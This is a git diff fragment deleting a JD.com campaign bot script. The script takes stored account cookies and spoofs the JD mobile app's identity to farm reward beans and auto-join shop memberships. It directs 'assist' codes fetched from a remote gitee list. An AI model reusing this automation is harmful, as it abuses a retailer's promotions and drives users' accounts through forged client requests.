this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_lzdz2_fashion.js b/backUp/jd_lzdz2_fashion.js deleted file mode 100644 index 6f455cc..0000000 --- a/backUp/jd_lzdz2_fashion.js +++ /dev/null @@ -1,530 +0,0 @@ -/* -时尚宠粉趴 -https://lzdz2-isv.isvjcloud.com/dingzhi/fashion/recruit/activity/13145?activityId=1ad06f0cb93e4928a894e3b984c2fa4b -**/ - -const $ = new Env("超店会员福利社"); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = [], cookie = '', message = ''; -let ownCode = null; -let authorCodeList = [] -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/lzdz2_fashion.json') - if(authorCodeList === '404: Not Found'){ - authorCodeList = [ - 'b3b3f59c9015493a9d8e2f1d5d9b92ea', - ] - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i] - originCookie = cookiesArr[i] - newCookie = '' - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - console.log('更新ck'); - continue - } - // authorCodeList = [ - // 'b3b3f59c9015493a9d8e2f1d5d9b92ea', - // ] - $.bean = 0; - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - // $.authorCode = authorCodeList[random(0, authorCodeList.length)] - $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] - $.authorNum = `${random(1000000, 9999999)}` - $.activityId = '1ad06f0cb93e4928a894e3b984c2fa4b' - $.activityShopId = '59809' - $.activityUrl = `https://lzdz2-isv.isvjcloud.com/dingzhi/fashion/recruit/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` - await rush(); - await $.wait(1000) - console.log("重复执行一次,技术有限不知道为什么") - await rush(); - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` - } - } - } - if (message !== '') { - if ($.isNode()) { - await notify.sendNotify($.name, message, '', `\n`); - } else { - $.msg($.name, '有点儿收获', message); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -async function rush() { - $.token = null; - $.secretPin = null; - $.openCardActivityId = null - $.openStatusNum = 0 - await getFirstLZCK() - await getToken(); - await task('wxCommonInfo/getSystemConfigForNew', `activityId=${$.activityId}&activityType=99`, 1) - await task('dz/common/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) - if ($.token) { - await getMyPing(); - if ($.secretPin) { - console.log("去助力: "+$.authorCode) - await $.wait(1000) - await task('common/accessLogWithAD', `venderId=${$.venderId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); - await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) - await task('fashion/recruit/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=${encodeURIComponent($.pinImg)}&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) - await task("fashion/recruit/getInitInfo", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(1000) - await task('fashion/recruit/initOpenCard', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&shareUuid=${encodeURIComponent($.authorCode)}`) - if ($.activityContent) { - for(let i in $.openInfo){ - console.log($.openInfo[i]) - if(!$.openInfo[i]['openStatus']){ - console.log("加入会员: "+$.openInfo[i]['venderId']) - await getShopOpenCardInfo({ "venderId": $.openInfo[i]['venderId'], "channel": "401" }, $.openInfo[i]['venderId']) - await bindWithVender({ "venderId": $.openInfo[i]['venderId'], "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, $.openInfo[i]['venderId']) - await $.wait(1000) - } - } - console.log("关注店铺: ") - await task("fashion/recruit/saveTask", `activityId=${$.activityId}&actorUuid=${encodeURIComponent($.actorUuid)}&shareUuid=${encodeURIComponent($.authorCode)}&pin=${encodeURIComponent($.secretPin)}&taskType=23&taskValue=23`) - await $.wait(1000) - console.log("流览会场: ") - await task("fashion/recruit/saveTask", `activityId=${$.activityId}&actorUuid=${encodeURIComponent($.actorUuid)}&shareUuid=${encodeURIComponent($.authorCode)}&pin=${encodeURIComponent($.secretPin)}&taskType=12&taskValue=12`) - } - await task("fashion/recruit/getInitInfo", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) - } else { - $.log("没有成功获取到用户信息") - } - } else { - $.log("没有成功获取到用户鉴权信息") - } -} - -function task(function_id, body, isCommon = 0) { - return new Promise(resolve => { - $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - - if (data) { - data = JSON.parse(data); - if (data.result) { - switch (function_id) { - case 'dz/common/getSimpleActInfoVo': - $.jdActivityId = data.data.jdActivityId; - $.venderId = data.data.venderId; - $.activityShopId = data.data.shopId; - $.activityType = data.data.activityType; - break; - case 'wxActionCommon/getUserInfo': - $.pinImg = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' - break; - case 'fashion/recruit/activityContent': - if (!data.data.hasEnd) { - $.log(`开启【${data.data.activityName}】活动`) - $.log("-------------------") - if ($.index === 1) { - ownCode = data.data.actorUuid - console.log("你的助力码 -> "+ownCode) - } - $.activityContent = data.data; - $.actorUuid = data.data.actorUuid; - } else { - $.log("活动已经结束"); - } - break; - case 'fashion/recruit/saveFirst': - if(data.result){ - console.log("获得抽奖次数") - } - break; - case 'fashion/recruit/saveTask': - console.log(data) - break; - case 'fashion/recruit/getInitInfo': - console.log(data) - break; - case 'fashion/recruit/initOpenCard': - $.openInfo = data.data.openInfo - break; - default: - $.log(JSON.stringify(data)) - break; - } - } else { - $.log(JSON.stringify(data)) - } - } else { - $.log("京东没有返回数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function getShopOpenCardInfo(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.interestsRuleList) { - $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function bindWithVender(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.giftInfo && res.result.giftInfo.giftList) { - for (const vo of res.result.giftInfo.giftList) { - if (vo.prizeType === 4) { - $.log(`获得【${vo.quantity}】京豆`) - $.bean += vo.quantity - } - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function taskUrl(function_id, body, isCommon) { - return { - url: isCommon ? `https://lzdz2-isv.isvjcloud.com/${function_id}` : `https://lzdz2-isv.isvjcloud.com/dingzhi/${function_id}`, - headers: { - Host: 'lzdz2-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz2-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie - }, - body: body - - } -} -function getAuthorCodeList(url) { - return new Promise(resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - $.get(options, async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - $.logErr(e, resp) - data = null; - } finally { - resolve(data); - } - }) - }) -} -function getMyPing() { - let opt = { - url: `https://lzdz2-isv.isvjcloud.com/customer/getMyPing`, - headers: { - Host: 'lzdz2-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz2-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie, - }, - body: `userId=${$.venderId}&token=${$.token}&fromType=APP` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (data) { - data = JSON.parse(data) - if (data.result) { - $.log(`你好:${data.data.nickname}`) - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` - } else { - $.log(data.errorMessage) - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - - }) - }) -} -function getFirstLZCK() { - return new Promise(resolve => { - $.get({ url: $.activityUrl }, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - }) -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function random(min, max) { - - return Math.floor(Math.random() * (max - min)) + min; - -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - } - }; - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东返回了空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" 